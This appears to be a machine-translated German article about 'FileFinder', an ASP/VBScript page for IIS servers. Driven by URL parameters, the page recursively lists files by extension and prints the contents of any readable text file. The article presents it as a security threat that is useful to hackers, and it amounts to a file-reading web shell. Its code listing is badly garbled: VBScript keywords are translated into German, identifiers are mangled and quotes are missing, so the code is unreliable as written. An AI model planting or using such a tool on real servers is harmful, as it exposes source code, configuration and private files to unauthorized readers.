Das Scripting.FilesSystemObject -Objekt ist eines von vielen COM -Objekten von scrrun.dll für VBScript/Jscript -Steuerung. scripting.FilesystemObject bietet sehr bequemen Zugriff auf Textdateien und Dateiverzeichnisse, stellt jedoch auch bestimmte Bedrohungen für die Datensicherheit des IIS -Webservers dar.
Der Code von FileFinder ist sehr einfach und besteht aus 3 Funktionen und 30 Zeilen mit sequentiellem Code.
Das Wichtigste ist die FindFiles -Funktion, die das Durchlaufen eines bestimmten Verzeichnisses implementiert, indem sie es rekursiv aufruft und nach einer bestimmten Dateierweiterung nach diesen Dateien sucht.
FunktionsfindFiles (StrstartFolder, Strext)
Dim n
Dim Ohisfolder
Dunkel Ofdolds
Dim Ofiles
Dim Ofolder
düster
Wenn der Systemadministrator die Berechtigungen des Dateisystems sorgfältig festlegt, macht der folgende Code einen Fehler
'Aber einige Verzeichnisse können weiterhin angezeigt werden, daher ignorieren wir einfach die Fehler
Bei der nächsten Fehleraufnahme als nächstes
n = 0
response.write <b> Suchen & StrstartFolder & </b> <br>
Setzen Sie thatisfolder = g_fs.getFolder (strstartfolder)
set ofiles = alleisfolder.files
Für jedes von Ile in Ofiles
„Wenn es sich um die angegebene Dateierweiterung handelt, geben Sie den Verbindungshandbuch selbst aus, verwenden Sie jedoch einen anderen Befehl cmd
'Hier ist cmd = read, dh die Textdatei mit dem angegebenen physischen Pfad vorlesen
Wenn Issuffix (Ofile.Path, Strext) dann
response.write <a target = _blank href = 'ff.asp?
Wenn er = 0 dann
n = n + 1
Ende wenn
Ende wenn
nächste
set Ofdolds = entweder Thisfolder.SubFolders
für jeden der älteren im älteren
n = n + findFiles (Ofolder.Path, Strext)
nächste
findFiles = n
Endfunktion
Der folgende Code analysiert die Parameter nach der URL:
'Lesen Sie die Werte jedes Parameters vor
Strcmd = uCase (Request.queryString (CMD)))
Strada = Request.queryString (Pfad)
Strext = Request.queryString (ext)
Brawdata = uCase (Request.queryString (RAW))
'Standardsuche nach .asp -Dateien
wenn strada = dann
strpath =.
Ende wenn
Wenn Strext = dann
Strext = .asp
Ende wenn
'Führen Sie verschiedene Codes gemäß dem verschiedenen Befehl CMD aus
Wählen Sie Case Strcmd
Fall finden
response.write findFiles (strpath, strext) & Datei (en) gefunden
Fall lesen
Wenn brawdata = t dann
Antwort.Write ReadTextFile (strpath)
anders
response.write <pre> & server.htmlencode (ReadTextFile (strad)) & </pre>
Ende wenn
Fall sonst
Antwort.Write <h3> Bitte geben Sie einen Befehl an, um </h3> auszuführen
Ende auswählen
Aus der obigen Analyse können wir feststellen, dass wir mit Dateifinder eine Textdatei auf dem IIS -Webserver finden können, wenn wir über ausreichende Berechtigungen verfügen, und den Dateiinhalt einfach anzeigen können. Für Nicht-Text-Dateien ist es möglich zu bestimmen, ob sie existieren und wo sie sich befinden, was für fortgeschrittene Hacker manchmal äußerst wichtig ist.